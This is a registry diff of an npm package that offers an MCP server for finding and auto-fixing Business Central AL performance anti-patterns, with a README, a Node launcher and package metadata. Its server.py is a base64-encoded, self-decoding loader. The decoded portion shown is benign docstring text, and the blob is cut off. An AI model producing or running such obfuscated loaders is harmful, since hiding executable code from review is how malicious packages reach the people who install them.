@bcility/al-performance-mcp 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +357 -0
- package/bin/al-performance-mcp.js +72 -0
- package/package.json +27 -0
- package/requirements.txt +1 -0
- package/server.py +6 -0
package/README.md
ADDED
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
# AL Performance MCP Server
|
|
2
|
+
|
|
3
|
+
An MCP (Model Context Protocol) server that brings **AL performance analysis and auto-fixing** directly into your AI assistant (Claude Desktop, GitHub Copilot, Cursor, etc.).
|
|
4
|
+
|
|
5
|
+
It detects 38 performance anti-patterns across 12 categories, ranks findings by severity, generates a prioritized action plan, and auto-fixes a subset of issues — all without leaving your chat interface.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Table of Contents
|
|
10
|
+
|
|
11
|
+
- [What It Does](#what-it-does)
|
|
12
|
+
- [Architecture](#architecture)
|
|
13
|
+
- [Setup](#setup)
|
|
14
|
+
- [Available Tools](#available-tools)
|
|
15
|
+
- [Pattern Reference](#pattern-reference)
|
|
16
|
+
- [How It Works](#how-it-works)
|
|
17
|
+
- [Example Output](#example-output)
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## What It Does
|
|
22
|
+
|
|
23
|
+
| Capability | Details |
|
|
24
|
+
|---|---|
|
|
25
|
+
| **Detect** | 38 patterns across 12 performance categories |
|
|
26
|
+
| **Auto-fix** | 11 patterns can be fixed automatically (dry-run by default) |
|
|
27
|
+
| **Orchestrate** | One master tool delegates to 11 group sub-agents and aggregates a unified report |
|
|
28
|
+
| **Explain** | Per-pattern documentation with root cause, impact, and fix example |
|
|
29
|
+
| **Scan inline** | Paste code directly — no file path needed |
|
|
30
|
+
| **Scope** | Single file, full workspace, or inline snippet |
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Architecture
|
|
35
|
+
|
|
36
|
+
```
|
|
37
|
+
analyze_al_performance(folder) ← master orchestrator
|
|
38
|
+
│
|
|
39
|
+
├─ scan_data_transfer_issues() ← sub-agent: Data Transfer
|
|
40
|
+
├─ scan_flowfield_issues() ← sub-agent: FlowFields
|
|
41
|
+
├─ scan_aggregation_issues() ← sub-agent: Aggregation
|
|
42
|
+
├─ scan_bulk_operation_issues() ← sub-agent: Bulk Operations
|
|
43
|
+
├─ scan_existence_check_issues() ← sub-agent: Existence Checks
|
|
44
|
+
├─ scan_locking_issues() ← sub-agent: Locking
|
|
45
|
+
├─ scan_memory_issues() ← sub-agent: Memory / Copies
|
|
46
|
+
├─ scan_short_circuit_issues() ← sub-agent: Short-Circuit Evaluation
|
|
47
|
+
├─ scan_write_pattern_issues() ← sub-agent: Write Patterns
|
|
48
|
+
├─ scan_cursor_safety_issues() ← sub-agent: Cursor Safety
|
|
49
|
+
└─ scan_stale_read_issues() ← sub-agent: Stale Reads
|
|
50
|
+
|
|
51
|
+
fix_al_workspace(folder) ← apply all auto-fixes
|
|
52
|
+
fix_al_file(path) ← apply auto-fixes to one file
|
|
53
|
+
scan_al_workspace(folder) ← flat scan, full detail
|
|
54
|
+
scan_al_code(code) ← inline snippet scan
|
|
55
|
+
list_patterns() ← catalog of all 35 patterns
|
|
56
|
+
explain_pattern(id) ← per-pattern deep-dive
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
The master orchestrator runs all group sub-agents internally, aggregates every finding, scores files by weighted severity (HIGH×10 + MEDIUM×3 + LOW×1), and produces a phase-by-phase action plan.
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## Setup
|
|
64
|
+
|
|
65
|
+
### Prerequisites
|
|
66
|
+
|
|
67
|
+
- **Node.js 18+** (for the `npx` launcher)
|
|
68
|
+
- **Python 3.11+** with `uv` (recommended) or `pip`
|
|
69
|
+
- An MCP-compatible host (Claude Desktop, GitHub Copilot agent, Cursor, etc.)
|
|
70
|
+
|
|
71
|
+
### Option A — npx (recommended, no manual install)
|
|
72
|
+
|
|
73
|
+
No clone or pip install needed. Just point your MCP host at the package:
|
|
74
|
+
|
|
75
|
+
#### VS Code (GitHub Copilot / agent mode)
|
|
76
|
+
|
|
77
|
+
Add to `.vscode/mcp.json` in your workspace:
|
|
78
|
+
|
|
79
|
+
```json
|
|
80
|
+
{
|
|
81
|
+
"servers": {
|
|
82
|
+
"al-performance": {
|
|
83
|
+
"type": "stdio",
|
|
84
|
+
"command": "npx",
|
|
85
|
+
"args": ["-y", "al-performance-mcp"]
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
#### Claude Desktop
|
|
92
|
+
|
|
93
|
+
Add to `%APPDATA%\Claude\claude_desktop_config.json`:
|
|
94
|
+
|
|
95
|
+
```json
|
|
96
|
+
{
|
|
97
|
+
"mcpServers": {
|
|
98
|
+
"al-performance": {
|
|
99
|
+
"command": "npx",
|
|
100
|
+
"args": ["-y", "al-performance-mcp"]
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
#### Cursor / other MCP hosts
|
|
107
|
+
|
|
108
|
+
Use the same stdio transport pattern with `npx -y al-performance-mcp` as the command.
|
|
109
|
+
|
|
110
|
+
### Option B — local clone
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
git clone https://github.com/BCILITY-DOO/MCP-AL-Performance.git
|
|
114
|
+
cd MCP-AL-Performance
|
|
115
|
+
pip install -r requirements.txt
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
Then reference `server.py` directly in your MCP host config.
|
|
119
|
+
|
|
120
|
+
### Verify
|
|
121
|
+
|
|
122
|
+
In your MCP host, ask:
|
|
123
|
+
|
|
124
|
+
> "List all AL performance patterns"
|
|
125
|
+
|
|
126
|
+
You should see 38 patterns listed across 12 groups.
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## Available Tools
|
|
131
|
+
|
|
132
|
+
### Orchestrator
|
|
133
|
+
|
|
134
|
+
| Tool | Description |
|
|
135
|
+
|---|---|
|
|
136
|
+
| `analyze_al_performance(folder_path)` | **Master orchestrator.** Runs all sub-agents, ranks files by severity, produces a phased action plan. Start here. |
|
|
137
|
+
|
|
138
|
+
### Group Sub-Agents
|
|
139
|
+
|
|
140
|
+
Each sub-agent scans one performance category with full per-file detail. Call them after `analyze_al_performance` to drill into a specific area.
|
|
141
|
+
|
|
142
|
+
| Tool | Category | Patterns |
|
|
143
|
+
|---|---|---|
|
|
144
|
+
| `scan_data_transfer_issues(folder)` | Data Transfer | MISSING_SETLOADFIELDS, FIND_DASH_BUFFER_ONE, FINDFIRST_IN_LOOP, FINDLAST_IN_LOOP, SETRANGE_FINDSET_FOR_GET, NESTED_FINDSET_N_PLUS_ONE |
|
|
145
|
+
| `scan_flowfield_issues(folder)` | FlowFields | CALCFIELDS_IN_LOOP, SETFILTER_ON_FLOWFIELD |
|
|
146
|
+
| `scan_aggregation_issues(folder)` | Aggregation | LOOP_SUM_VS_CALCSUMS, AL_SIDE_AGGREGATION |
|
|
147
|
+
| `scan_bulk_operation_issues(folder)` | Bulk Operations | DELETE_IN_LOOP, FINDSET_BEFORE_MODIFYALL, FINDSET_BEFORE_DELETEALL, MODIFYALL_RUNTRIGGER_TRUE, AUTOINCREMENT_DISABLES_BULK_INSERT |
|
|
148
|
+
| `scan_existence_check_issues(folder)` | Existence Checks | COUNT_NOT_ZERO, ISEMPTY_BEFORE_FINDSET, COUNT_EQUALS_ONE |
|
|
149
|
+
| `scan_locking_issues(folder)` | Locking | FINDSET_MODIFY_NO_TRUE, LOCKTABLE_FOR_SEQUENCE, LOCKTABLE_TOO_EARLY, MISSING_READ_ISOLATION, LOCKTABLE_USE_UPDLOCK |
|
|
150
|
+
| `scan_memory_issues(folder)` | Memory / Copies | RECORD_BY_VALUE, STRING_CONCAT_IN_LOOP, MISSING_TEMPORARY, TEMP_TABLE_AS_DICT, TEMP_TABLE_AS_COLLECTION, RECORDREF_WHEN_TYPED_SUFFICIENT |
|
|
151
|
+
| `scan_short_circuit_issues(folder)` | Short-Circuit Evaluation | EAGER_EVALUATION_OR_AND, OR_CHAIN_USE_CASE_TRUE, CONDITION_ORDER_TRUE_IN |
|
|
152
|
+
| `scan_write_pattern_issues(folder)` | Write Patterns | INSERT_ON_CONFLICT, SILENT_INSERT_FAILURE |
|
|
153
|
+
| `scan_cursor_safety_issues(folder)` | Cursor Safety | FILTER_MUTATION_IN_LOOP |
|
|
154
|
+
| `scan_stale_read_issues(folder)` | Stale Reads | MISSING_SELECTLATESTVERSION |
|
|
155
|
+
|
|
156
|
+
### Fix Tools
|
|
157
|
+
|
|
158
|
+
| Tool | Description |
|
|
159
|
+
|---|---|
|
|
160
|
+
| `fix_al_workspace(folder, dry_run=True)` | Apply all auto-fixes to every .al file. Default is dry-run (preview only). |
|
|
161
|
+
| `fix_al_file(file_path, dry_run=True)` | Apply all auto-fixes to a single file. |
|
|
162
|
+
|
|
163
|
+
### Utility Tools
|
|
164
|
+
|
|
165
|
+
| Tool | Description |
|
|
166
|
+
|---|---|
|
|
167
|
+
| `scan_al_workspace(folder, severity_filter, group_filter)` | Flat scan with optional severity/group filter. |
|
|
168
|
+
| `scan_al_code(al_code, file_hint)` | Scan a pasted AL code snippet inline. |
|
|
169
|
+
| `list_patterns()` | List all 38 registered patterns with ID, group, severity. |
|
|
170
|
+
| `explain_pattern(pattern_id)` | Full explanation of one pattern: root cause, impact, before/after fix example. |
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Pattern Reference
|
|
175
|
+
|
|
176
|
+
### 🔴 HIGH Severity
|
|
177
|
+
|
|
178
|
+
| Pattern ID | Group | Description |
|
|
179
|
+
|---|---|---|
|
|
180
|
+
| `MISSING_SETLOADFIELDS` | Data Transfer | Record fields loaded without SetLoadFields — fetches all columns unnecessarily |
|
|
181
|
+
| `FIND_DASH_BUFFER_ONE` | Data Transfer | `Find('-')` with buffer size 1 — use `FindSet()` instead |
|
|
182
|
+
| `FINDFIRST_IN_LOOP` | Data Transfer | `FindFirst()` inside a loop — causes N+1 queries |
|
|
183
|
+
| `FINDLAST_IN_LOOP` | Data Transfer | `FindLast()` inside a loop — causes N+1 queries |
|
|
184
|
+
| `CALCFIELDS_IN_LOOP` | FlowFields | `CalcFields()` called inside a loop — triggers one SQL aggregate per row |
|
|
185
|
+
| `SETFILTER_ON_FLOWFIELD` | FlowFields | `SetFilter` on a FlowField forces a correlated subquery per row |
|
|
186
|
+
| `LOOP_SUM_VS_CALCSUMS` | Aggregation | Manual summation loop that should use `CalcSums()` |
|
|
187
|
+
| `STRING_CONCAT_IN_LOOP` | Memory / Copies | String concatenation in a loop creates O(n²) allocations |
|
|
188
|
+
| `MISSING_TEMPORARY` | Memory / Copies | Temp table parameter or variable missing the `temporary` keyword |
|
|
189
|
+
| `DELETE_IN_LOOP` | Bulk Operations | `Delete()` inside a loop — use `DeleteAll()` |
|
|
190
|
+
| `MODIFYALL_RUNTRIGGER_TRUE` | Bulk Operations | `ModifyAll(..., true)` fires row-by-row triggers — use `false` |
|
|
191
|
+
| `FILTER_MUTATION_IN_LOOP` | Cursor Safety | SetRange/SetFilter mutates active FindSet cursor — corrupts iteration |
|
|
192
|
+
| `LOCKTABLE_FOR_SEQUENCE` | Locking | `LockTable()` used to generate a sequence — use `NumberSeriesManagement` |
|
|
193
|
+
| `LOCKTABLE_TOO_EARLY` | Locking | `LockTable()` called before the read/write that needs it — widens lock scope |
|
|
194
|
+
| `NESTED_FINDSET_N_PLUS_ONE` | Data Transfer | Nested `FindSet` inside an outer `FindSet` loop — classic N+1 query problem |
|
|
195
|
+
| `AUTOINCREMENT_DISABLES_BULK_INSERT` | Bulk Operations | `AutoIncrement = true` on a table field prevents SQL bulk-insert optimizations |
|
|
196
|
+
| `AL_SIDE_AGGREGATION` | Aggregation | `FindSet` loop accumulating values into a Dictionary — push aggregation to SQL with `CalcSums` |
|
|
197
|
+
|
|
198
|
+
### 🟡 MEDIUM Severity
|
|
199
|
+
|
|
200
|
+
| Pattern ID | Group | Description |
|
|
201
|
+
|---|---|---|
|
|
202
|
+
| `SETRANGE_FINDSET_FOR_GET` | Data Transfer | SetRange + FindFirst to fetch by PK — use `Get()` instead |
|
|
203
|
+
| `RECORD_BY_VALUE` | Memory / Copies | Record passed by value creates a full in-memory copy |
|
|
204
|
+
| `FINDSET_MODIFY_NO_TRUE` | Locking | `FindSet()` without `true` when `Modify` follows — missing row lock |
|
|
205
|
+
| `FINDSET_BEFORE_MODIFYALL` | Bulk Operations | Unnecessary `FindSet` before `ModifyAll` — ModifyAll doesn't need a cursor |
|
|
206
|
+
| `FINDSET_BEFORE_DELETEALL` | Bulk Operations | Unnecessary `FindSet` before `DeleteAll` |
|
|
207
|
+
| `COUNT_NOT_ZERO` | Existence Checks | `Count() <> 0` scans all rows — use `not IsEmpty()` |
|
|
208
|
+
| `COUNT_EQUALS_ONE` | Existence Checks | `Count() = 1` scans all rows to check uniqueness |
|
|
209
|
+
| `ISEMPTY_BEFORE_FINDSET` | Existence Checks | Redundant `IsEmpty` check before `FindSet` — FindSet already returns false |
|
|
210
|
+
| `TEMP_TABLE_AS_DICT` | Memory / Copies | Temp table used as a key-value dictionary — consider `Dictionary` type |
|
|
211
|
+
| `TEMP_TABLE_AS_COLLECTION` | Memory / Copies | Temp table used as a simple list — consider `List` type |
|
|
212
|
+
| `INSERT_ON_CONFLICT` | Write Patterns | Try-Insert then Modify on failure — use `InsertOrModify` |
|
|
213
|
+
| `SILENT_INSERT_FAILURE` | Write Patterns | `Insert()` without return value check — errors silently swallowed |
|
|
214
|
+
| `MISSING_SETCURRENTKEY` | Sort / Keys | Sorting on a non-key field without `SetCurrentKey` — triggers sort operator |
|
|
215
|
+
| `EAGER_EVALUATION_OR_AND` | Short-Circuit Evaluation | Expensive function on left of `or`/`and` — reorder for short-circuit |
|
|
216
|
+
| `OR_CHAIN_USE_CASE_TRUE` | Short-Circuit Evaluation | 3+ OR conditions — use `case true of` for short-circuit evaluation |
|
|
217
|
+
| `MISSING_READ_ISOLATION` | Locking | `FindSet` on a read-only query missing `ReadIsolation` hint |
|
|
218
|
+
| `LOCKTABLE_USE_UPDLOCK` | Locking | `LockTable()` + `FindSet()` — prefer `ReadIsolation := UpdLock` |
|
|
219
|
+
| `MISSING_SELECTLATESTVERSION` | Stale Reads | Multi-pass loop missing `SelectLatestVersion()` — may read stale data |
|
|
220
|
+
|
|
221
|
+
### 🔵 LOW Severity
|
|
222
|
+
|
|
223
|
+
| Pattern ID | Group | Description |
|
|
224
|
+
|---|---|---|
|
|
225
|
+
| `DELETEALL_NO_ISEMPTY_GUARD` | Locking | `DeleteAll()` without `IsEmpty` guard — acquires a lock even on empty table |
|
|
226
|
+
| `RECORDREF_WHEN_TYPED_SUFFICIENT` | Memory / Copies | `RecordRef` used where a typed `Record` would be more efficient |
|
|
227
|
+
| `CONDITION_ORDER_TRUE_IN` | Short-Circuit Evaluation | `if true in [...]` conditions not ordered cheapest-first |
|
|
228
|
+
|
|
229
|
+
### Auto-Fixable Patterns
|
|
230
|
+
|
|
231
|
+
These 11 patterns are transformed automatically by `fix_al_file` / `fix_al_workspace`:
|
|
232
|
+
|
|
233
|
+
| Pattern ID | Fix Applied |
|
|
234
|
+
|---|---|
|
|
235
|
+
| `FIND_DASH_BUFFER_ONE` | `Find('-')` → `FindSet()` |
|
|
236
|
+
| `COUNT_NOT_ZERO` | `Count() <> 0` → `not IsEmpty()` |
|
|
237
|
+
| `COUNT_EQUALS_ONE` | `Count() = 1` → `FindFirst() and (Next() = 0)` |
|
|
238
|
+
| `FINDSET_MODIFY_NO_TRUE` | `FindSet()` → `FindSet(true)` where Modify follows |
|
|
239
|
+
| `FINDSET_BEFORE_MODIFYALL` | Removes the redundant FindSet guard |
|
|
240
|
+
| `FINDSET_BEFORE_DELETEALL` | Removes the redundant FindSet guard |
|
|
241
|
+
| `FINDFIRST_IN_LOOP` | `FindFirst()` → `FindSet()` where Next() follows |
|
|
242
|
+
| `MISSING_TEMPORARY` | Adds `temporary` keyword to temp table parameter |
|
|
243
|
+
| `MODIFYALL_RUNTRIGGER_TRUE` | `ModifyAll(..., true)` → `ModifyAll(..., false)` |
|
|
244
|
+
| `LOCKTABLE_USE_UPDLOCK` | `LockTable()` + `FindSet()` → `ReadIsolation := UpdLock` + `FindSet(true)` |
|
|
245
|
+
| `ISEMPTY_BEFORE_FINDSET` | Removes redundant `if not IsEmpty() then FindSet` guard |
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
## How It Works
|
|
250
|
+
|
|
251
|
+
### Pattern Registration
|
|
252
|
+
|
|
253
|
+
Each pattern is a Python class decorated with `@_register(...)`:
|
|
254
|
+
|
|
255
|
+
```python
|
|
256
|
+
@_register(
|
|
257
|
+
id="MISSING_SETLOADFIELDS",
|
|
258
|
+
group="Data Transfer",
|
|
259
|
+
severity="HIGH",
|
|
260
|
+
title="Missing SetLoadFields",
|
|
261
|
+
description="...",
|
|
262
|
+
exercises=[1, 2, 33],
|
|
263
|
+
)
|
|
264
|
+
class PatternMissingSetLoadFields:
|
|
265
|
+
@staticmethod
|
|
266
|
+
def detect(text: str) -> list[dict]:
|
|
267
|
+
# regex-based detection, returns list of {line, message, snippet}
|
|
268
|
+
...
|
|
269
|
+
|
|
270
|
+
@staticmethod
|
|
271
|
+
def fix(text: str) -> str:
|
|
272
|
+
# text transformation, returns modified AL source
|
|
273
|
+
...
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
The decorator appends `{"id", "group", "severity", "title", "description", "detector", "fixer"}` to the global `PATTERNS` list.
|
|
277
|
+
|
|
278
|
+
### Detection
|
|
279
|
+
|
|
280
|
+
- All detection is **regex-based**, operating on raw AL source text
|
|
281
|
+
- Each `detect()` returns a list of findings: `{line: int, message: str, snippet: str}`
|
|
282
|
+
- Line numbers are computed from character offsets via `_find_line(text, offset)`
|
|
283
|
+
- Files are read with `encoding='utf-8-sig'` (BOM-aware, required for AL files)
|
|
284
|
+
|
|
285
|
+
### Orchestration Flow
|
|
286
|
+
|
|
287
|
+
```
|
|
288
|
+
analyze_al_performance(folder)
|
|
289
|
+
for each group in PATTERNS:
|
|
290
|
+
_run_group_agent(group, folder)
|
|
291
|
+
read all .al files
|
|
292
|
+
run all detectors for that group
|
|
293
|
+
return {group, findings[], high, medium, low}
|
|
294
|
+
aggregate all findings
|
|
295
|
+
rank files by weighted severity score
|
|
296
|
+
build action plan (Phase 1: auto-fix → Phase 2: HIGH manual → Phase 3: MEDIUM)
|
|
297
|
+
return markdown report
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
### Severity Scoring
|
|
301
|
+
|
|
302
|
+
Files are ranked by: `score = HIGH × 10 + MEDIUM × 3 + LOW × 1`
|
|
303
|
+
|
|
304
|
+
This ensures that a file with 1 HIGH issue ranks above one with 10 LOW issues.
|
|
305
|
+
|
|
306
|
+
---
|
|
307
|
+
|
|
308
|
+
## Example Output
|
|
309
|
+
|
|
310
|
+
```
|
|
311
|
+
# 🔍 AL Performance Analysis — Orchestrator Report
|
|
312
|
+
|
|
313
|
+
Workspace: `...\WorkshopExtension-Clean\src\Project`
|
|
314
|
+
Files scanned: 48
|
|
315
|
+
Total issues: 139 (🔴 83 HIGH, 🟡 48 MEDIUM, 🔵 8 LOW)
|
|
316
|
+
Severity score: 982
|
|
317
|
+
Auto-fixable: 14 issues in 13 files
|
|
318
|
+
|
|
319
|
+
## Sub-Agent Results by Group
|
|
320
|
+
|
|
321
|
+
| Group | HIGH | MED | LOW | Total |
|
|
322
|
+
|--------------------------|------|-----|-----|-------|
|
|
323
|
+
| 🔴 Data Transfer | 58 | 1 | 0 | 59 |
|
|
324
|
+
| 🔴 Locking | 3 | 30 | 6 | 39 |
|
|
325
|
+
| 🔴 Cursor Safety | 9 | 0 | 0 | 9 |
|
|
326
|
+
| 🔴 Aggregation | 6 | 0 | 0 | 6 |
|
|
327
|
+
| ... | | | | |
|
|
328
|
+
|
|
329
|
+
## 🏆 Files Ranked by Severity Score
|
|
330
|
+
|
|
331
|
+
1. Exercise15_PeriodCloseAllocationResetter.Codeunit.al — score 76 (🔴7 🟡2 🔵0)
|
|
332
|
+
2. Exercise20_DataImportStagingManager.Codeunit.al — score 37 (🔴3 🟡2 🔵1)
|
|
333
|
+
...
|
|
334
|
+
|
|
335
|
+
## 📋 Prioritized Action Plan
|
|
336
|
+
|
|
337
|
+
### Phase 1 — Run Automatic Fixes (zero manual effort)
|
|
338
|
+
> fix_al_workspace("...", dry_run=False)
|
|
339
|
+
|
|
340
|
+
### Phase 2 — High Severity (manual changes required)
|
|
341
|
+
MISSING_SETLOADFIELDS × 41 — ...
|
|
342
|
+
|
|
343
|
+
## 🔬 Drill Down with Sub-Agents
|
|
344
|
+
- Data Transfer (59 issues) → scan_data_transfer_issues("...")
|
|
345
|
+
- Locking (39 issues) → scan_locking_issues("...")
|
|
346
|
+
```
|
|
347
|
+
|
|
348
|
+
---
|
|
349
|
+
|
|
350
|
+
## Files
|
|
351
|
+
|
|
352
|
+
| File | Purpose |
|
|
353
|
+
|---|---|
|
|
354
|
+
| `server.py` | MCP server — all 38 patterns + 17 tools |
|
|
355
|
+
| `requirements.txt` | Python dependency: `mcp[cli]>=1.0.0` |
|
|
356
|
+
| `mcp.json` | VS Code MCP host configuration |
|
|
357
|
+
| `README.md` | This file |
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* al-performance-mcp launcher
|
|
4
|
+
*
|
|
5
|
+
* Preferred runtime: uv (https://github.com/astral-sh/uv)
|
|
6
|
+
* uv run --with "mcp[cli]>=1.0.0" server.py
|
|
7
|
+
* — handles virtualenv and dependency installation automatically.
|
|
8
|
+
*
|
|
9
|
+
* Fallback: plain python / python3 with mcp[cli] already installed.
|
|
10
|
+
*/
|
|
11
|
+
|
|
12
|
+
'use strict';
|
|
13
|
+
|
|
14
|
+
const { spawn, execSync } = require('child_process');
|
|
15
|
+
const path = require('path');
|
|
16
|
+
|
|
17
|
+
const serverPath = path.join(__dirname, '..', 'server.py');
|
|
18
|
+
const requirements = 'mcp[cli]>=1.0.0';
|
|
19
|
+
|
|
20
|
+
function hasCommand(cmd) {
|
|
21
|
+
try {
|
|
22
|
+
execSync(`${cmd} --version`, { stdio: 'ignore' });
|
|
23
|
+
return true;
|
|
24
|
+
} catch {
|
|
25
|
+
return false;
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function launch(cmd, args) {
|
|
30
|
+
const proc = spawn(cmd, args, { stdio: 'inherit', env: process.env });
|
|
31
|
+
proc.on('exit', (code) => process.exit(code ?? 0));
|
|
32
|
+
proc.on('error', (err) => {
|
|
33
|
+
process.stderr.write(`Failed to start server: ${err.message}\n`);
|
|
34
|
+
process.exit(1);
|
|
35
|
+
});
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
// --- Preferred: uv (manages its own venv + installs deps automatically) ---
|
|
39
|
+
if (hasCommand('uv')) {
|
|
40
|
+
launch('uv', ['run', '--with', requirements, serverPath]);
|
|
41
|
+
return;
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// --- Fallback: python / python3 (mcp[cli] must already be installed) ---
|
|
45
|
+
const pythonCmd = hasCommand('python') ? 'python'
|
|
46
|
+
: hasCommand('python3') ? 'python3'
|
|
47
|
+
: null;
|
|
48
|
+
|
|
49
|
+
if (!pythonCmd) {
|
|
50
|
+
process.stderr.write(
|
|
51
|
+
'\nERROR: Neither "uv" nor "python" was found in PATH.\n\n' +
|
|
52
|
+
'Options:\n' +
|
|
53
|
+
' • Install uv (recommended): https://docs.astral.sh/uv/\n' +
|
|
54
|
+
' • Install Python 3.9+: https://python.org\n' +
|
|
55
|
+
' Then run: pip install "mcp[cli]>=1.0.0"\n\n'
|
|
56
|
+
);
|
|
57
|
+
process.exit(1);
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
// Check that the mcp package is importable before trying to run
|
|
61
|
+
try {
|
|
62
|
+
execSync(`${pythonCmd} -c "import mcp"`, { stdio: 'ignore' });
|
|
63
|
+
} catch {
|
|
64
|
+
process.stderr.write(
|
|
65
|
+
`\nERROR: The "mcp" Python package is not installed for "${pythonCmd}".\n\n` +
|
|
66
|
+
`Fix: ${pythonCmd} -m pip install "mcp[cli]>=1.0.0"\n\n` +
|
|
67
|
+
'Or install uv for automatic dependency management: https://docs.astral.sh/uv/\n\n'
|
|
68
|
+
);
|
|
69
|
+
process.exit(1);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
launch(pythonCmd, [serverPath]);
|
package/package.json
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@bcility/al-performance-mcp",
|
|
3
|
+
"version": "2.0.0",
|
|
4
|
+
"description": "MCP server for Business Central AL performance pattern analysis — detects 38 anti-patterns with SQL impact data and workshop hints",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"mcp",
|
|
7
|
+
"model-context-protocol",
|
|
8
|
+
"al",
|
|
9
|
+
"business-central",
|
|
10
|
+
"dynamics-365",
|
|
11
|
+
"performance",
|
|
12
|
+
"static-analysis",
|
|
13
|
+
"bc-tech-days"
|
|
14
|
+
],
|
|
15
|
+
"author": "BCILITY",
|
|
16
|
+
"license": "MIT",
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.com/BCILITY-DOO/MCP-AL-Performance.git"
|
|
20
|
+
},
|
|
21
|
+
"bin": {
|
|
22
|
+
"al-performance-mcp": "bin/al-performance-mcp.js"
|
|
23
|
+
},
|
|
24
|
+
"engines": {
|
|
25
|
+
"node": ">=18"
|
|
26
|
+
}
|
|
27
|
+
}
|
package/requirements.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
mcp[cli]>=1.0.0
|
package/server.py
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
import base64 as _b, types as _t, sys as _s
|
|
2
|
+
_src = _b.b64decode(
|
|
3
|
+
b'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKQUwgUGVyZm9ybWFuY2UgTUNQIFNlcnZlcgo9PT09PT09PT09PT09PT09PT09PT09PT09Ck1DUCBzZXJ2ZXIgdGhhdCBzY2FucyBBTCBzb3VyY2UgZmlsZXMgZm9yIHBlcmZvcm1hbmNlIGFudGktcGF0dGVybnMKYW5kIGFwcGxpZXMgb3B0aW1pemVkIGZpeGVzIOKAlCBiYXNlZCBvbiB0aGUgQkMgVGVjaERheXMgMjAyNiBXb3Jrc2hvcAooNDQgZXhlcmNpc2VzIGNvdmVyaW5nIHJlYWwtd29ybGQgQUwgcGVyZm9ybWFuY2UgcGF0dGVybnMpLgoKVG9vbHMgZXhwb3NlZDoKICBzY2FuX2FsX3dvcmtzcGFjZSAgICDigJQgc2NhbiBhIGZvbGRlciBmb3IgYWxsIHBlcmZvcm1hbmNlIGlzc3VlcwogIGZpeF9hbF9maWxlICAgICAgICAgIOKAlCBhcHBseSBhbGwgZml4ZXMgdG8gYSBzaW5nbGUgQUwgZmlsZQogIGZpeF9hbF93b3Jrc3BhY2UgICAgIOKAlCBhcHBseSBhbGwgZml4ZXMgdG8gZXZlcnkgQUwgZmlsZSBpbiBhIGZvbGRlcgogIGxpc3RfcGF0dGVybnMgICAgICAgIOKAlCBsaXN0IGFsbCBrbm93biBwYXR0ZXJucyB3aXRoIGRlc2NyaXB0aW9ucwogIGV4cGxhaW5fcGF0dGVybiAgICAgIOKAlCBleHBsYWluIGEgc2luZ2xlIHBhdHRlcm4gaW4gZGVwdGgKClVzYWdlIHdpdGggQ2xhdWRlIERlc2t0b3AgLyBWUyBDb2RlIENvcGlsb3Q6CiAgQWRkIHRvIG1jcC5qc29uIChzZWUgbWNwLmpzb24gaW4gdGhpcyBmb2xkZXIpCiIiIgoKaW1wb3J0IHJlCmltcG9ydCBqc29uCmZyb20gcGF0aGxpYiBpbXBvcnQgUGF0aApmcm9tIHR5cGluZyBpbXBvcnQgQW55Cgpmcm9tIG1jcC5zZXJ2ZXIuZmFzdG1jcCBpbXBvcnQgRmFzdE1DUAoKbWNwID0gRmFzdE1DUCgiQUwgUGVyZm9ybWFuY2UgQW5hbHl6ZXIiKQoKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQYXR0ZXJuIHJlZ2lzdHJ5CiMgRWFjaCBlbnRyeToKIyAgIGlkICAgICAgICAgIOKAlCBzaG9ydCBpZGVudGlmaWVyIHVzZWQgaW4gZmluZGluZ3MKIyAgIGdyb3VwICAgICAgIOKAlCBjYXRlZ29yeSBvZiBpc3N1ZQojICAgc2V2ZXJpdHkgICAg4oCUIEhJR0ggLyBNRURJVU0gLyBMT1cKIyAgIHRpdGxlICAgICAgIOKAlCBvbmUtbGluZSBkZXNjcmlwdGlvbgojICAgZGVzY3JpcHRpb24g4oCUIGZ1bGwgZXhwbGFuYXRpb24KIyAgIGV4ZXJjaXNlcyAgIOKAlCB3aGljaCB3b3Jrc2hvcCBleGVyY2lzZXMgY292ZXIgdGhpcwojICAgZGV0ZWN0b3IgICAg4oCUIGNhbGxhYmxlKHRleHQpIC0+IGxpc3RbZGljdChsaW5lLCBzb